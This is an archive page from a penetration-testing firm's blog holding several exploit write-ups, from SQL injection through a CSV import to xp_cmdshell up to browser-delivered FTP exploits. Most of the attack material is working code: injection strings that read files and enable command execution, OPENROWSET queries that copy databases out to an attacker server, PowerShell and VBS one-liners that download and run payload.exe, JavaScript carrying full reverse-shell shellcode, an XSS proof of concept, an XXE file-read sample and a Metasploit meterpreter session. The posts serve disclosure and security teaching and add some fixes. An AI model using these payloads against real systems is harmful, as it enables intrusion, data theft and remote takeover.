SECFORCE          
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
   
HOME SECFORCE - penetration testing COMPANY SECFORCE - penetration testing SERVICES SECFORCE - penetration testing RESEARCH SECFORCE - penetration testing BLOG SECFORCE - penetration testing INITIATIVES SECFORCE - penetration testing CONTACT
 
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    SECFORCE - penetration testing

Blog ■

 
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    Home : Blog  
SECFORCE - penetration testing SECFORCE - penetration testing
   
Archive for the ‘exploit’ Category
 

From CVS import to cmd.exe – via SQL injection

Tuesday, February 18th, 2014

This blog post explains the process that we followed in a recent penetration test to gain command execution from a CVS import feature. One of the most challenging issues was that we had to escape commas during the SQL injection attack, as it would break the CVS structure.

Scenario:

  • Application imports entries from file (CVS, Excel, etc) to the database
  • Typically the parsers used for this importation read every entry “as is” in the file.
  • In the case of CVS, documents entries are separated by a delimiter character (typically comma).

More often than not entries read from files do not go through the same sanitisation and validation functions as web application requests.

Example of a CVS entry:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever

1,SEC,FORCE,,,email@secforce.com,,

In this case, the parser expected some entries to be of a specific type; thus some entries were populated with expected types to bypass this restriction.

Attack Steps:

SQL vulnerability identification:

A SQL injection issue was identified when a crafted file was uploaded to the web application.

- The following file was sent:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever
1,SEC,FORCE,,,email@secforce.com,,

 - Result:

Unclosed quotation mark after the character string ”.

This is a SQL error! – let’s start early celebrations!

Verification:

- File sent:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever
1,SEC,FORCE,,,email@secforce.com,1′+char((SELECT @@version))+’1,

 - Result:

Conversion failed when converting the nvarchar value ‘Microsoft SQL Server 2008 R2 (RTM) – 10.50.1617.0 (Intel X86)
Apr 22 2011 11:57:00
Copyright (c) Microsoft Corporation
Express Edition with Advanced Services on Windows NT 6.1 <X86> (Build 7601: Service Pack 1)
‘ to data type int.

This is definitely working! – celebrations continue …

- Spoilers:

Only SQL errors were returned to the user. If the statement had no errors it just displayed importation failed/completed.
Moreover the importation was a two step process – not easily automated with sqlmap and time was running out.

I’ll spare you the rest of the details of this step - Info gathered: database version and database user (dbo)

Escalation – Reading local files:

In MSSQL the file must be imported into a table and read from there.

* Alternatively OPENROWSET can be used instead of BULK INSERT.

- File Sent:

- Copy the contents into our table:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever
1,SEC,FORCE,,,email@secforce.com,1‘;drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM ‘c:\windows\win.ini’ WITH (ROWTERMINATOR = ‘\ 0′);– ,

- Reading the contents back:

1,SEC,FORCE,,,email@secforce.com,1′+char((SELECT TOP 1 * FROM SecforceTBL))+’1 ,

ROWTERMINATOR is EOF (backslash 0) because life is too short to read a file line by line. The first CVS entry (SQL query) imports the whole file in one line.  The second entry triggered the error and returned the result

This worked for most files but then disaster! - … celebrated too soon!

The file was there but I couldn’t read it

“String or binary data would be truncated.”

* This was not because the row couldn’t hold the data (could be the case) but the SQL error string cannot be bigger than 4000 chars!

There is a workaround to this eventuality. It’s certainly not pretty, but it worked:

Powershell:
write output to file – read specific lines with powershell and write them to another file, then import it to the database:

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -command dir c:\ > c:\temp\1.tmp &&
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -command (Get-Content c:\temp\1.tmp)[0..10] > c:\temp\2.tmp

Or make a new table (SecforceTBL2) insert only 4000 chars into previous table (SecforceTBL) and trigger error as before – needs to use the comma bypass as above:

INSERT INTO SecforceTBL VALUES (SUBSTRING((select top 1 * from SecforceTBL),0,4000))

Escalation – Command execution through xp_cmdshell:

First of all, we verify whether xp_cmdshell is enabled.

[..]1′+char(( SELECT cast(value as varchar(1)) FROM sys.configurations WHERE name = ‘xp_cmdshell’ ))+’1
[..]1′+char(( SELECT cast(value_in_use as varchar(1)) FROM sys.configurations WHERE name = ‘xp_cmdshell’ ))+’1

In this case, xp_cmdshell was not enabled, so we had to enable it.

* Also try ‘show advanced options’ etc.

The application connected to the database as dbo, therefore  we should be able to enable it – easy!

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE

Well not so fast… The comma in the SQL code shown above would naturally break the CVS parser. In order to escape the comma character, we need to declare a variable that will hold the SQL query string and execute with master..sp_executesql:

[...]1′; DECLARE @sql NVARCHAR(500); set @sql = ‘EXEC sp_configure ”xp_cmdshell” ‘+CHAR(44)+‘ 1′; exec master..sp_executesql @sql; RECONFIGURE ;–

After launching the requests shown above, the configuration showed ’1′ but every command to connect to the outside fails (not even DNS). – ... never celebrate too early!

Command with 30 seconds delay:

[...]1′; exec master.dbo.xp_cmdshell ‘ping 192.0.2.2 -n 1 -w 30000 > nul’ ;–

It took 30 Sec to reply – awesome!

but the box is completely firewalled - not awesome!

Escalation – write a webshell on the web server root:

Some command line fu and we can see the results of the commands (see reading files below):

[...]1′; exec master.dbo.xp_cmdshell ‘dir c:\ > c:\temp\1.tmp’ ;drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM ‘c:\temp\1.tmp’ WITH (ROWTERMINATOR = ”) ;–

[..]1′+char(( SELECT TOP 1 * FROM SecforceTBL ))+’1

Just a matter of finding the webserver root

List all drives command:

wmic logicaldisk get name

Read the IIS configs to find the server root.

In this case, we discovered that the database server was hosted in a different host and the web server was not accessible:

thankyou

… and TIME was up!

MORAL OF THE STORY:

Sanitise *ALL* input – In general all input should be treated the same way.

For the SQLi vulnerability the easiest fix would be to use parametrised queries, this would prevent SQL injection attacks without having to add an extra layer of sanitisation.

Lastly, having the database server in a DMZ zone and segregated from the web server prevented this attack from escalating any further.

HSFPP – HTTP session fixation parameter pollution

Monday, February 25th, 2013

Session fixation is an issue whereby an attacker is able to set a session token for a victim, and therefore being able to hijack the victim’s session. HTTP pollution of a fixated cookie could potentially have devastating consequences.

A general recommendation and one (of many) ways to protect applications against this type of attacks is to delete the cookie before login to the application and issue a new cookie with a random session token upon successful authentication. However, it often introduces a new issue as cookies with different flags are normally treated as different ones..

First lets have a look at an important part of the RFC for HTTP State Management Mechanism (Cookies):

“Although cookies are serialized linearly in the Cookie header, servers SHOULD NOT rely upon the serialization order.  In particular, if the Cookie header contains two cookies with the same name (e.g., that were set with different Path or Domain attributes), servers SHOULD NOT rely upon the order in which these cookies appear in the header. ” (http://tools.ietf.org/html/rfc6265)

Understandably this is part of the as-designed functionality of cookies.

Well, probably it is still not clear where is the vulnerability.

Let’s explain further:

One would assume that, if a cookie is set with the same name with another cookie, the one set now would overwrite the latter.

The same for deletion, update etc. However, this relies on the browser’s cookie handling as per the above quote and not on the server.

In general the server/application should never assume anything that it is not directly controlled by it.

The problem is that cookies with different flags are considered different, although they might have the same name. This will make most, (if not all) browsers to store them and send them BOTH at every request.

Although which one is send before or after depends on the browser, the weather, the tides and the planetary movements. Therefore, the value received by the application is unpredictable.

So, where is the vulnerability you ask?

If you can’t see it yet you might want to have a look in HTTP parameter pollution.

Two variables with the same name are sent to the server, which one is the one that the server will get? Also what happens if one of them gets validated by the application and then, using a different mechanism (parser etc.) the other one is the one that queries the database?

Let’s consider this scenario:

  • The server deletes the (old) session cookie when the user tries to login to the application
  • Then issues a new cookie after successful login.
  • Additionally in many cases the server only accepts cookies issued by it.
  • An attacker now logins to the application and gets a legitimate cookie bound to his session.
  • Then he fixes this cookie in the victims browser. (He also makes sure to change the cookie flags)
  • Now the victim tries to login to the application.

The attackers (fixed) cookie is sent to the server and the server responds back with a “expire cookie” to delete the old cookie. If this response does not have the same name AND the same flags as the fixed cookie, the browser might not actually delete it

The victim successfully authenticates to the application and a new session cookie is sent

Obviously all of the above will not lead to a session fixation - This heavily depends on how the application binds the session to the cookie and mostly on what it expects!

However, this kind of issue is not uncommon. In this case, the browser in every request will send both cookies. Which one would be read by the application is not certain and therefore this can lead to the application binding the attackers cookie to the victims session.

Then the attacker can use the session cookie to impersonate the victim to the application.

Going back to the RFC “servers SHOULD NOT rely upon the order in which these cookies appear in the header” add to that the general security term “Trust nothing” and you have a solution to the problem.

Addressing the issue:

Each application behaves differently and there is no easy way to make exact suggestions. Generic ones, on the other hand, led us here on the first place.

When a user authenticates and a new session is created, it is wise to destroy the previous session. Additionally, when designing and developing software, do not assume anything out of the applications control actually gets done.

Have no expectations! Do not expect that the received data will have the correct format/structure/form/etc.

Know your environment! Know how the application AND the server handle multiple parameters with the same name.

Be consistent in the way parameters are accesses and verified. Use the exact same mechanism to fetch parameters every time.

Validate all input to ensure it is in the expected and correct format.

Stacked based MSSQL blind injection bypass methodology

Monday, January 7th, 2013

If you have a blind SQL injection you are already in a good position. Exploitation however, depending on the type of the blind SQL injection, can take time.

This post is part of a methodology used for obtaining output from a stacked based blind SQL injection.

Requirements:

  1. Stacked based Blind SQL injection
  2. Local MSSQL database server (MSSQL server express was used in this example)
  3. Improper remote firewall configuration (allows outbound connections)
  4. #include <brain.h>

If all of the requirements above are met then the following technique can be used:

  • On the local server create a new database with a table to store the results:
    • CREATE DATABASE output_db;
    • CREATE TABLE output_db..output ( result VARCHAR(MAX) );
    • Lastly, open the ports and change the config for remotely connecting to the database.
  • On the remote server test for OPENROWSET  and external connection:
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      output_db.dbo.output) SELECT @@version–

This instructs the remote database server to connect to the local database and write the result of the SELECT @@version command. If “SELECT * from output_db..output” returns any results then you are in luck otherwise continue using sqlmap…

Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database.

NOTE:  OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans *similar* types to avoid any errors

Copying Databases:

  • After you create a new database make a copy of the local sysdatabases and empty it:
    • SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;
    • DELETE master_copy..sysdatabases;
  • Copy the Remote sysobjects over to master_copy..sysdatabases;
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      master_copy..sysdatabases;) SELECT * FROM master..sysdatabases;–
  • For every returned name create a new database and list tables
    • CREATE DATABASE LOCAL_DB_NAME;
    • CREATE TABLE LOCAL_DB_NAME..tables( names VARCHAR(MAX) );
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      LOCAL_DB_NAME..tables;) SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = ‘U’;–
  • For every returned table create a new table for to hold the column data
    • CREATE TABLE LOCAL_DB_NAME..columns ( name VARCHAR(MAX), type VARCHAR(MAX) );
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=localhost;uid=sa;pwd=sa’,
      LOCAL_DB_NAME.dbo.columns) SELECT REMOTE_DB_NAME..syscolumns.name,
      TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM
      REMOTE_DB_NAME..syscolumns, REMOTE_DB_NAME..sysobjects WHERE
      REMOTE_DB_NAME..syscolumns.id=REMOTE_DB_NAME..sysobjects.id AND
      REMOTE_DB_NAME..sysobjects.name=’sysobj’;
  • Now create a new table with the same columns and data types and copy using the same command as above
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      LOCAL_DB_NAME..TABLE ;)  SELECT * FROM REMOTE_DB_NAME..TABLE;–
    • Or create a new table with only the columns you need and copy over only those

Advancing:

  • Bruteforcing the sa password for command execution is possible with double OPENROWSET. The first OPENROWSET is the connection back to our database, the second OPENROWSET instructs the remote DB to connect to itself as sa run “SELECT @@version” and return the result to us.
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      output_db.dbo.output)
      SELECT * FROM OPENROWSET(‘SQLNCLI’,'server=localhost;uid=sa;pwd=PASSWORD‘,’SELECT @@version’)
  • Command execution with output of the results (if the sa password is known)
  • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
    uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
    output_db.dbo.output)
    SELECT * FROM OPENROWSET(‘SQLNCLI’,'server=localhost;uid=sa;pwd=PASSWORD‘,
    ‘set fmtonly off; exec master..xp_cmdshell ”dir” ; ‘)–
Advancing more:
NOTE: because of the “fmtonly off” instruction the issued command is going to be run twice. This makes echo-ing to script files a bit harder.
  • A nice technique for running meterpreter is through powershell. SET framework will take care of everything … it’s only a matter of copying the command payload.
  • … or do it yourself. The following commands are for downloading a file from a web server, and running it.
    • (Powershell) [Convert]::ToBase64String([System.Text.Encoding]::
      Unicode.GetBytes(“(new-object System.Net.WebClient).
      DownloadFile(‘http://REMOTE_SERVER/payload.exe‘,
      C:\DESTINATION_FOLDER\payload.exe‘)”))
  • This will generate an encoded command string that you can run on the remote server:
    • powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -encodedCommand “ENCODED_COMMAND_STRING
  • If this doesn’t work, you can echo and run the one-liner vbs script below:
    • echo Set objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”):objXMLHTTP.open
      “GET”, “http://REMOTE_SERVER/payload.exe“, false:objXMLHTTP.send():
      If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject(“ADODB.Stream”):
      objADOStream.Open:objADOStream.Type=1:
      objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position=0:
      Set objFSO=Createobject(“Scripting.FileSystemObject”):
      Set objFSO = Nothing:
      objADOStream.SaveToFile “C:\DESTINATION_FOLDER\payload.exe”:
      objADOStream.Close:
      Set objADOStream=Nothing:
      Set objXMLHTTP=Nothing > C:\DESTINATION_FOLDER\script.vbs
  • Run the script:
    • cscript  C:\DESTINATION_FOLDER\script.vbs
  • Run the payload:
    • C:\DESTINATION_FOLDER\payload.exe

$ chmod -x attack //Protecting the web server (for the non pen-testers)

What went wrong – Recommendations:

First off all, the SQL injection, (*obviously*) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and the perimeter was adequately protected.

For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.

Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done.

Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords.

If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host.

Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.

Inter-Protocol Communication – Exploitation

Wednesday, November 21st, 2012

What is it?
Inter-Protocol Communication is the ability of two different protocols to exchange meaningful commands and data.

These two protocols can be called the target protocol and the carrier protocol. The target protocol is the protocol on the receiving end with which we wish to communicate. The carrier protocol is the protocol that we will use to encapsulate and send the commands and data.

There are a few requirements for communication to be possible:

  • The target protocol must be error tolerant. The reason for this is that, since we are communicating through a different carrier protocol, we will be sending some messages that the target protocol won’t understand.
  • It must be possible to encapsulate the target protocol in the carrier protocol. Even if the target protocol doesn’t understand all of the messages it receives, it has to understand the important ones.

What can you do with it?
Inter-Protocol Exploitation: use a protocol to attack a service running another protocol. Wade Alcorn researched about this in 2006/2007 (see [1] and [2]).

It is particularly interesting to talk about HTTP as the carrier protocol because attacks can be launched from a web browser and everyone has one! This kind of attack can be used by an attacker to gain access to resources and services that only the victim has access to by making the victim do the “dirty work”.

Newline-based protocols such as SMTP, POP3, IRC and FTP – that use new lines as separators – are affected by this because the lines sent to the target protocol are interpreted one at a time. Add the fact that the target protocol is error tolerant and this makes it possible for the target to simply ignore the lines it doesn’t understand and interpret the lines it does.

To better understand how this works, let’s look at a simple example.

Example 1 : Connecting to FTP through HTTP

It is very easy to make a browser connect to an FTP server with an HTTP POST request. Here’s what the HTML form looks like if the FTP server is on the same machine as the browser:

<form method='POST' action='http://localhost:21' enctype='multipart/form-data'>
<input type='hidden' name='a' value='user secforce'>
<input type='hidden' name='a' value='pass secforce'>
<input type='submit'>
</form>

Supposing that this FTP user and password exist, when this form is submitted you will have logged in to your FTP server. Easy, right?

This is the actual HTTP POST request being sent:

POST / HTTP/1.1
Host: 127.0.0.1:21
User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653
Content-Length: 304

-----------------------------63079936718166855021600323653
Content-Disposition: form-data; name="a"

user secforce
-----------------------------63079936718166855021600323653
Content-Disposition: form-data; name="a"

pass secforce
-----------------------------63079936718166855021600323653--

Here is the reply we receive from the FTP server. All the 50x errors correspond to the HTTP lines the server didn’t understand. The server ignores those and interprets the lines it does understand.

220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-Local time is now 12:41. Server port: 21.
220-This is a private system - No anonymous login
220 You will be disconnected after 15 minutes of inactivity.
530 You aren't logged in
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
331 User secforce OK. Password required
500 ?
500 ?
500 ?
230 OK. Current directory is /
500 ?

In-band vs out-of-band control
You might notice that not all FTP commands work over HTTP. Commands like MKD/RMD and DEL work whereas GET/PUT, RETR/STOR don’t. The reason for this is that FTP is an out-of-band protocol, meaning it uses separate TCP ports for data and control connections. In fact, if you try to use STOR to upload a file to the server, you will create an empty file with the name you specified. This happens because the file is created before the transfer occurs. All commands that don’t need a separate data connection – that only use the control connection – will work.

Let’s now look at a more interesting example.

Example 2 : Running an FTP exploit through HTTP.

For this example we picked EasyFTP v1.7, an FTP server vulnerable to a buffer overflow on the MKD command. Note that this command only uses the control connection, which makes our life easier! We set up the server in a virtual machine (192.168.1.10) and created the user ‘anonymous’ because for the exploit to work you need to be logged in to the server.

No need to reinvent the wheel so we took a known exploit (see [6]) and crafted a POST request (this time with Javascript) to deliver the shellcode to our FTP server. To send the shellcode we used sendAsBinary as shown by Michele Orru and Ty Miller in RuxCon 2012 (see [4]). Check out their Inter-Protocol Exploitation research with BeEF (see [3]).

Here is our function:

function exploit(){
var url = 'http://192.168.1.10:21'
var intro = 'USER anonymous\r\nPASS anonymous\r\n'
var payload = 'MKD \x89\xe7\x81\xef\x10\xfe\xff\xff\xc7\x07\x13\x57\x7e\xd6\x81\xc7
\x14\xff\xff\xff\xff\xe7\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\xba\xae\x16\xd0\x74\xd9\xcc\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x4f
\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x4c\xe3\x2c\x9c\x19\x0c\xcd
\x5d\x79\x84\x28\x6c\xab\xf2\x39\xdd\x7b\x70\x6f\xee\xf0\xd4\x84
\x65\x74\xf1\xab\xce\x32\x27\x85\xcf\xf3\xe7\x49\x13\x92\x9b\x93
\x40\x74\xa5\x5b\x95\x75\xe2\x86\x56\x27\xbb\xcd\xc5\xd7\xc8\x90
\xd5\xd6\x1e\x9f\x66\xa0\x1b\x60\x12\x1a\x25\xb1\x8b\x11\x6d\x29
\xa7\x7d\x4e\x48\x64\x9e\xb2\x03\x01\x54\x40\x92\xc3\xa5\xa9\xa4
\x2b\x69\x94\x08\xa6\x70\xd0\xaf\x59\x07\x2a\xcc\xe4\x1f\xe9\xae
\x32\xaa\xec\x09\xb0\x0c\xd5\xa8\x15\xca\x9e\xa7\xd2\x99\xf9\xab
\xe5\x4e\x72\xd7\x6e\x71\x55\x51\x34\x55\x71\x39\xee\xf4\x20\xe7
\x41\x09\x32\x4f\x3d\xaf\x38\x62\x2a\xc9\x62\xeb\x9f\xe7\x9c\xeb
\xb7\x70\xee\xd9\x18\x2a\x78\x52\xd0\xf4\x7f\x95\xcb\x40\xef\x68
\xf4\xb0\x39\xaf\xa0\xe0\x51\x06\xc9\x6b\xa2\xa7\x1c\x3b\xf2\x07
\xcf\xfb\xa2\xe7\xbf\x93\xa8\xe7\xe0\x83\xd2\x2d\x97\x84\x45\x62
\xb8\x1a\x92\x12\xbb\x1a\x8b\xbe\x32\xfc\xc1\x2e\xec\x41\x40\x00
\x3e\x23\x1f\x17\x95\xa3\xbc\x8a\x72\x33\xca\xb6\x2c\x64\x9b\x09
\x25\xe0\x31\x33\x9f\x16\xc8\xa5\xd8\x92\x17\x16\xe6\x1b\xd5\x22
\xcc\x0b\x23\xaa\x48\x7f\xfb\xfd\x06\x29\xbd\x57\xe9\x83\x17\x0b
\xa3\x43\xe1\x67\x74\x15\xee\xad\x02\xf9\x5f\x18\x53\x06\x6f\xcc
\x53\x7f\x8d\x6c\x9b\xaa\x15\x8c\x7e\x7e\x60\x25\x27\xeb\xc9\x28
\xd8\xc6\x0e\x55\x5b\xe2\xee\xa2\x43\x87\xeb\xef\xc3\x74\x86\x60
\xa6\x7a\x35\x80\xe3'
var req = new XMLHttpRequest();
req.open('POST', url, true);
req.setRequestHeader('Content-Type', 'text/plain');
req.setRequestHeader('Content-Length', '20');
req.sendAsBinary(intro + payload + '\r\n'); // neat way to send hexadecimal code through HTTP
}

As a payload we chose a reverse shell to port 4444 of our host and set up a listener there. We then inserted this javascript code in a webpage and opened it in our host’s browser. Guess what?

Happy days! :)

How to defend against it?

  • Port blocking – By default, most browsers deny connections to several known ports (21/FTP, 25/SMTP, etc). This protection can be overcome by tweaking the browser configuration or by using non-standard ports.
  • Less error tolerance – Some protocols close the connection if they receive something they don’t understand. This provides less flexibility but more security against this kind of attack. A better option is to close the connection after a few unrecognized commands.

Conclusion
As mentioned before, this kind of attack has several limitations and requirements. Although there are often easier ways to achieve the same result, under certain circumstances, this can be a valid vector of attack.

More about this

[1] http://www.bindshell.net/papers/ipc.html
[2]http://www.dcs.co.jp/security/NGS_freedownloads/InterProtocolExploitation.pdf
[3] http://blog.beefproject.com/2012/11/revitalizing-inter-protocol.html
[4] http://www.slideshare.net/micheleorru2/rooting-your-internals-exploiting-internal-network-vulns-via-the-browser-using-beef-bind
[5] http://www.remote.org/jochen/sec/hfpa/hfpa.pdf
[6] http://dev.metasploit.com/redmine/projects/framework/repository/
entry/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
[7] http://privacy-pc.com/news/how-to-hack-facebook-account-3-applying-cross-protocol-scripting-to-attack-victims-network.html
[8] http://en.wikipedia.org/wiki/Inter-protocol_communication
[9] http://en.wikipedia.org/wiki/Inter-protocol_exploit

FortiOS Remote Access Web Portal – XSS Vulnerability

Monday, November 5th, 2012

Overview:

Fortinet delivers a comprehensive portfolio of security gateways and complementary products. FortiGate platforms integrate the FortiOSâ„¢ operating system with FortiASICâ„¢ processors and the latest-generation CPUs to provide comprehensive, high-performance security. By using a specially crafted URL in an HTTP request, it is possible to achieve an XSS attack, potentially giving access to confidential information, such as session cookies.

Description:

Fortinet FortiOS contains a flaw that allows a non-persistent cross-site scripting (XSS) attack. The input passed to redir parameter at http://x.x.x.x/remote/logincheck is not properly sanitized. It is possible to inject the redir parameter in a POST request as a data parameter or trough a GET request as a URL parameter. This may allow an attacker to execute arbitrary script code in a user’s browser.

As this range of products are used for SSL VPN authentication, this issue can be exploited to mount an attack and potentially gain unauthorised access to the target internal network.

Affected Products:

Found and tested on: SSLVPN-FGT200B  Remote Access Web Portal, but its known not to be the only one affected.

Proof of Concept:

https://x.x.x.x/remote/logincheck?magic=&username=&redir=“};alert(‘XSS’);{“&grpid=&code2=&credential2=&code=&just_logged_in=1&reqid=0&cre

Figure 1: Example XSS on a SSLVPN-FGT200B

Source Code Result:

<script language = “javascript”> function redir() { top.location=”“};alert(‘XSS’);{““; } </script>

Solution:

The vendor has released an update of FortiOS. Version FortiOS 4.3.7 fixes this issue.

History:

Discovered: 14/03/2012 (Marco Batista)
Vendor Notified: 18/04/2012
Disclosed: 02/11/2012

CVE-2011-4107 PoC – phpMyAdmin Local File Inclusion via XXE injection

Thursday, January 12th, 2012

An interesting local file inclusion vulnerability has been recently published. An XXE (XML eXternal Entity) injection attack, which affects phpMyAdmin 3.4.x previous to 3.4.7.1 and 3.3.x previous to 3.3.10.5. – CVE-2011-4107

The issue is located in the libraries\import\xml.php file, where the simplexml_load_string() function is called without validating the existence of a reference to an external entity on the file:

$xml = simplexml_load_string($buffer, “SimpleXMLElement”, LIBXML_COMPACT);

Patched versions make use of the libxml_disable_entity_loader() PHP function before loading the XML document, in order to prevent the injection. libxml_disable_entity_loader() function disables the ability to load external entities.

phpMyAdmin offers the functionality of importing a database from a user-specified XML file. In vulnerable versions importing a specially-crafted XML file which contains an external XML entity permits an authenticated attacker to retrieve a local file from the server or network (limited by the privileges of the user running the web server).

It is well understood that the LOAD_FILE MySQL function could be used to gain read access to files in the database file system, however there are configurations where phpMyAdmin is installed on a different host than the database and therefore exploitation of this issue could become handy in penetration testing engagements.

SECFORCE has developed a metasploit module to assist the exploitation of this vulnerability. It is available for download from our security tools section on our website.

This module automates the process of local file inclusion in the following way:

  1. Logging in into phpMyAdmin using provided credentials.
  2. Crafting an XML using XXE with the given file to read.
  3. Uploading the XML
  4. Retrieving the file from the server or network (restricted by the privileges of the user running the web server ).

The module has the options shown in the following screenshot:


An example of a successful run of the module is presented in the screenshot below:

Example of a successful file read
Example of successfully reading a file


Defining XML external entity (XXE) injection attack as part of XML injection vulnerability:

XML injection

XML Injection is when is is possible to change the values of an XML document and the XML parser fails to make an appropriate data validation this way making the injection possible.

XML external entity injection attack (XXE)

“External Entity: The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.” – (OWASP-DV-008)

XXE Example:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

phpMyAdmin has released patched versions available for download from here.

Exploiting SQL injection vulnerabilities with Metasploit

Thursday, January 27th, 2011

In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker.

Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures:

http://192.168.1.66/showproduct.asp?id=1;exec master..xp_cmdshell ‘ping 192.168.1.64′;–

If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module.

The mssql_payload_sqli module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester.

It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above:

msf > use windows/mssql/mssql_payload_sqli

msf exploit(mssql_payload_sqli) >
 set GET_PATH http://192.168.1.66/
 showproduct.asp?id=1;[SQLi];--
GET_PATH => http://192.168.1.66/
 showproduct.asp?id=1;[SQLi];--
msf exploit(mssql_payload_sqli) > set RHOST 192.168.1.66

RHOST => 192.168.1.66

msf exploit(mssql_payload_sqli) >
 set PAYLOAD windows/patchupmeterpreter/reverse_tcp

PAYLOAD => windows/patchupmeterpreter/reverse_tcp

msf exploit(mssql_payload_sqli) > set LHOST 192.168.1.64

LHOST => 192.168.1.64

msf exploit(mssql_payload_sqli) > set LPORT 80

LPORT => 80

msf exploit(mssql_payload_sqli) > exploit

After the exploitation the attacker will get a meterpreter shell.

SQL injection exploitation with Metasploit

SQL injection exploitation with Metasploit

If you want to use this code you can download it from Secforce security tools repository.

Exploiting MS09-004 via SQL injection

Monday, January 24th, 2011

Recently we were performing an web application penetration test to one of our clients and identified a SQL injection vulnerability. The vulnerability allowed us to conduct a degree of fingerprinting on the remote server; however, the Microsoft SQL Server back-end database didn’t allow to execute commands via the well known xp_cmdshell stored procedure.

Based on the fingerprinting information we identified that the database server was running an old and vulnerable version of MS SQL server. Microsoft SQL Sever 2000 SP3, to be precise.

